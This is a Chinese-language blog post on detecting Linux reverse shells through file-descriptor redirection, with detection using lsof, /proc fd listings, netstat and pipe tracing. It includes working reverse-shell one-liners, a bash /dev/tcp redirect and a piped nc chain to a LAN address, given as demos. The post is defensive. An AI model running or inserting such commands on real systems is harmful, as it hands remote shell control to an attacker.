反弹shell的本质是把bash/zsh等进程的 0 1 2 输入输出重定向到远程socket,由socket中获取输入,重定向 标准输出(1)和错误输出(2)到socket。定位到这个本质后,检测的思路也就有了。本文简单说一下几种检测方法。同样,由于进程通信的复杂性,bash进程的输入输出可能是一个pipe,本文也简单讨论一下这种情况的检测思路。

demo1 /bin/bash 经典反弹shell

一个经典的反弹shell的demo如下:

# client:
/bin/bash  > /dev/tcp/192.168.43.146/11111 0>&1 2>&1 &
# server:
ncat -lvvp 11111

反弹成功后,/bin/bash的file descriptor(0 1 2)会被重定向。server上可以控制client的/bin/bash进程的0 1 2。

理想情况下,如果反弹shell的本质可以归纳为file descriptor的重定向,那么检测所有进程的file descriptor是否被重定向即可。正常情况下 0 1 2 都不会被重定位给一个server。

检测方法

在反弹shell后,ps -ef查看不到/bin/bash文件描述符的重定位(见下图高亮部分):

1. lsof

使用lsof检测,如果出现了0 1 2 文件描述符的重定位,则存在反弹shell的风险。

lsof -n | grep ESTABLISHED |grep -E '0u|1u|2u'
# -n: 显示ip而不是域名

2. /proc//fd

查看/proc//fd 查看进程打开的fd来查看是否建立了socket链接:

ls -al /proc/2633/fd

3. netstat -anop

查看是否有bash/sh等进程建立了socket连接。

netstat -anop  |grep ESTABLISHED

demo2 借助pipe 反弹shell

绝大多数的反弹shell都是借住重定向socket来和 bash进程进行输入输出交互。如果存在管道符号,那么bash进程交互的则是一个pipe。例子如下:

# client
nc 192.168.43.146 7777 | /bin/bash | nc 192.168.43.146 8888
# server
ncat -lvvp 7777
# server 
ncat -lvvp 8888

效果如下:

此时,bash进程的输入输出都来自其他进程的pipe,/proc//fds的情况如下。可以看到0 1 都从pipe获取,非socket。如果检测反弹shell时,只检测socket则会存在漏报。

检测思路

如何检测这种情况呢?

不管做了多少层的pipe,反弹shell的本质是将server的输入传递给client的bash,因此肯定存在socket连接。我们只需要递归查看pipe的输入,是否是来自一个socket。例如,跟踪pipe,发现pipe的进程建立了socket连接,那么就存在反弹shell的风险。(更严谨一点,需要定位到这歌socket和pipe的数据传递过程)

总结

反弹shell的本质可以定义为:一个client上的bash进程 可以和 server上的进程通信。

而反弹shell的检测,本质上就是检测 shell进程(如bash)的输入输出是否来自于一个远程的server。

由于进程通信的复杂性(例如pipe),会导致单纯的检测shell进程的0 1 2 是否来自socket会存在漏报。但是按照这个思路,检测shell进程的0 1 2 的来源,顺着来源继续跟踪,如果最终是来自一个socket。那么则存在反弹shell的风险。

timeline:
20190705夜
20190917夜: 更新pipe 反弹shelldemo和检测思路